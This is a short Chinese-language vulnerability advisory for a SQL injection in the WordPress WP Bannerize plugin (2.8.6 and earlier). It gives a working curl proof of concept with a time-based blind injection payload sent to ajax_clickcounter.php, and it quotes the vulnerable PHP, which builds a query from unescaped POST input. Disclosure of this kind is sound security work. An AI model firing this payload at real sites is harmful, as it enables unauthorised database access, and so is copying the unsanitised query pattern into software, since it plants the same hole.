标题: WordPress WP Bannerize plugin <= 2.8.6 SQL Injection Vulnerability 作者: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) www.2cto.com 下载地址: http://downloads.wordpress.org/plugin/wp-bannerize.zip 测试版本: 2.8.6 --- 测试方法 --- curl --data "id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- " -H "X-Requested-With:XMLHttpRequest" http://www.2cto.com /wp-content/plugins/wp-bannerize/ajax_clickcounter.php --------------- 缺陷代码分析 --------------- if ( @isset($_SERVER['HTTP_X_REQUESTED_WITH']) ) { ... $sql = "UPDATE `" . $wpdb->prefix ."bannerize_b` SET `clickcount` = `clickcount`+1 WHERE id = " . $_POST['id']; $result = mysql _query($sql);
修复方案： 过滤
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